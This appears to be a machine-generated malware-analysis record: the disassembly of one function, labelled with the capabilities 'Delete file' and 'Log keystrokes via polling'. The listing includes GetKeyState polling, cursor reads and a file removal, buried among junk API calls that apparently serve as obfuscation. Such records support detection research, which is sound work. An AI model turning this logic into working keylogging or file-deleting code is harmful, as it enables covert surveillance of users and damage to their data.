Function at 0x40bf8d
Capabilities:
Delete file
Log keystrokes via polling

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2c
push edi
push ebx
push esi
sbb dword [0x40d010], edx
test ax, 0x73d6
jne 0x40bfb5
push 0
call sub.gdi32.dll_CreateSolidBrush
mov dword [0x40d058], 0xffffffff
xor ch, ch
mov bx, word [0x40d04c]
push 1
call sub.USER32.dll_GetKeyState
mov edi, dword [0x40d05c]
or edx, dword [0x40d050]
call sub.USER32.dll_GetDesktopWindow
mov bx, word [0x40d004]
mov dword [ebp - 4], 0xffffffff
mov cl, byte [0x40d02d]
not ch
bswap edi
and dword [0x40d008], 0xffffff90
mov word [ebp - 8], 0x4c
mov dword [ebp - 4], eax
add dword [0x40d060], 1
mov dword [ebp - 0xc], esi
and ch, ah
mov dword [0x40d008], 0x3deb58
push 0
push dword [0x40d064]
call sub.gdi32.dll_SetStretchBltMode
mov byte [ebp - 0x10], 0
mov dword [0x40d068], edi
not ebx
push 0x40110c
call sub.msvcrt.dll_printf
pop ecx
mov ah, byte [ebp - 0x10]
movsx eax, dl
mov eax, dword [0x40d048]
sub ecx, ebx
mov dword [ebp - 0x14], 1
nop
test ch, dh
jne 0x40c059
neg edx
call sub.ole32.dll_OleFlushClipboard
sbb dword [ebp - 0xc], 0x1bc430
mov dword [0x40d058], 0x58
push 0x401120
call sub.msvcrt.dll_strlen
pop ecx
xor dword [0x40d00c], 0xffffffff
mov dword [0x40d058], 0x1e1be8
push dword [0x40d06c]
call sub.ole32.dll_RevokeDragDrop
sbb dword [ebp - 0xc], 0x215a0c
mov edi, dword [ebp - 0xc]
add esi, dword [0x40d00c]
push 0x401134
push dword [0x40d070]
call sub.USER32.dll_LoadBitmapA
mov dword [0x40d074], ebx
call sub.USER32.dll_GetDesktopWindow
push 0x401148
call sub.USER32.dll_CharNextA
mov eax, dword [ebp - 0x18]
call sub.KERNEL32.DLL_GetOEMCP
mov edi, dword [ebp - 0xc]
call sub.msvcrt.dll_rand
mov dword [ebp - 4], 1
xor dword [0x40d034], edx
mov ebx, dword [ebp - 0x1c]
and dword [ebp - 0x1c], edi
mov word [ebp - 8], 0xc92c
push 0
call sub.gdi32.dll_GetStockObject
call fcn.0040c50c
push 0x40d078
push dword [0x40d0b0]
call sub.gdi32.dll_GetTextMetricsA
push 1
call sub.msvcrt.dll_srand
pop ecx
cmp eax, 0xa69a5210
je 0x40c13c
mov dword [ebp - 4], ebx
mov dword [ebp - 0x18], 0x1a776c
push 1
push dword [0x40d0b4]
call sub.gdi32.dll_SetStretchBltMode
push 0x11
call sub.USER32.dll_GetSysColor
mov byte [ebp - 0x10], cl
push 0x40115c
call sub.msvcrt.dll_printf
pop ecx
mov dword [0x40d060], 1
and byte [0x40d02c], ah
mov ebx, dword [0x40d00c]
sbb byte [0x40d02c], dl
mov al, byte [ebp - 0x10]
mov word [ebp - 0x20], 0
mov word [ebp - 0x20], 0xffff
mov dword [ebp - 0x18], edi
push 0x40116c
push dword [0x40d0b8]
call sub.USER32.dll_LoadCursorA
mov edx, dword [ebp - 0x24]
or ebx, dword [0x40d028]
push 0x401180
call sub.msvcrt.dll_printf
pop ecx
neg cl
add dword [ebp - 0x1c], 0xffffffff
push 0
push 0x401194
push 0x40d0bc
call fcn.0040c40a
and ch, byte [0x40d02f]
add edi, 0x3f1578
add esp, 0xc
test di, dx
jne 0x40c1d7
mov dh, byte [0x40d02c]
sub dword [0x40d03c], ecx
mov word [0x40d04c], 0x932c
add eax, dword [0x40d070]
push dword [0x40d0c0]
call sub.ole32.dll_RevokeDragDrop
xor dword [ebp - 4], 0x330
xor dword [ebp - 0xc], 0x20b554
mov dword [0x40d0c4], edx
mov dword [ebp - 0x14], 0x791fd0
call sub.msvcrt.dll_rand
sub dl, byte [0x40d0c8]
push 0x40d078
push dword [0x40d0cc]
call sub.gdi32.dll_GetTextMetricsA
mov ebx, dword [0x40d060]
mov dx, word [ebp - 0x20]
bswap esi
not ecx
push 0xa
call sub.USER32.dll_GetSysColor
not ax
mov dword [ebp - 4], edi
push 0x4011c0
call sub.msvcrt.dll_printf
pop ecx
push 0
push str.Nvvphqu_Ay
push 0x40d060
call fcn.0040c40a
add esp, 0xc
push 0x4011d4
call sub.USER32.dll_CharNextA
mov dword [ebp - 0x28], 0x13bc44
add word [0x40d006], cx
test dword [0x40d050], eax
je 0x40c28f
call sub.KERNEL32.DLL_GetTickCount
push 0x4011e8
call sub.msvcrt.dll_printf
pop ecx
neg esi
mov word [ebp - 8], di
add dword [ebp - 0xc], eax
adc byte [0x40d0c9], ah
mov dword [ebp - 0x1c], edx
mov word [ebp - 0x20], 0x7898
mov word [0x40d04e], 0x9910
push 0
push 0x40d0e8
call sub.ole32.dll_CreateBindCtx
push 4
push dword [0x40d0ec]
call sub.gdi32.dll_SetStretchBltMode
mov dword [ebp - 0x24], 0x280
push 0x4011fc
call sub.msvcrt.dll_strlen
pop ecx
push 0xffffffffffffffff
push 0x40120c
push 0x40d048
call fcn.0040c40a
add esp, 0xc
mov byte [0x40d02d], 0xb4
test al, 0x55
jne 0x40c31b
push 0
push 0x40d068
call sub.ole32.dll_CreateBindCtx
mov dword [ebp - 0x24], 0
mov dword [ebp - 4], edx
push 0
push 0x40d040
call sub.ole32.dll_CreateBindCtx
mov dword [ebp - 0x24], ecx
push 5
push dword [0x40d0f0]
call sub.gdi32.dll_SetTextAlign
mov eax, dword [0x40d0f4]
push 0x40d010
call sub.gdi32.dll_CreateFontIndirectA
mov dword [0x40d0f8], 0
push 6
push dword [0x40d0fc]
call sub.gdi32.dll_SetStretchBltMode
mov edi, dword [ebp - 4]
sbb dword [0x40d00c], 0x88ec
mov dword [ebp - 0x2c], eax
push 0x40122c
push dword [0x40d100]
call sub.USER32.dll_LoadBitmapA
mov ch, byte [ebp - 0x10]
or byte [0x40d02e], 0x20
mov dword [0x40d05c], 0x134
push dword [0x40d104]
call sub.ole32.dll_RevokeDragDrop
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0xc], esi
add ebx, dword [0x40d034]
push 0x2ba6cc
call sub.msvcrt.dll_srand
pop ecx
xor dword [0x40d0e8], 1
mov ecx, dword [ebp - 0x28]
push 0x40d108
call sub.USER32.dll_GetCursorPos
sbb edx, dword [ebp - 0x14]
call fcn.0040c50c
mov ax, word [ebp - 8]
add byte [0x40d02e], dh
push 0x401240
call sub.msvcrt.dll_remove
mov dword [0x40d110], 0x40bbc6
push 0x40d114
call sub.ole32.dll_OleRun
pop esi
pop ebx
pop edi
leave
ret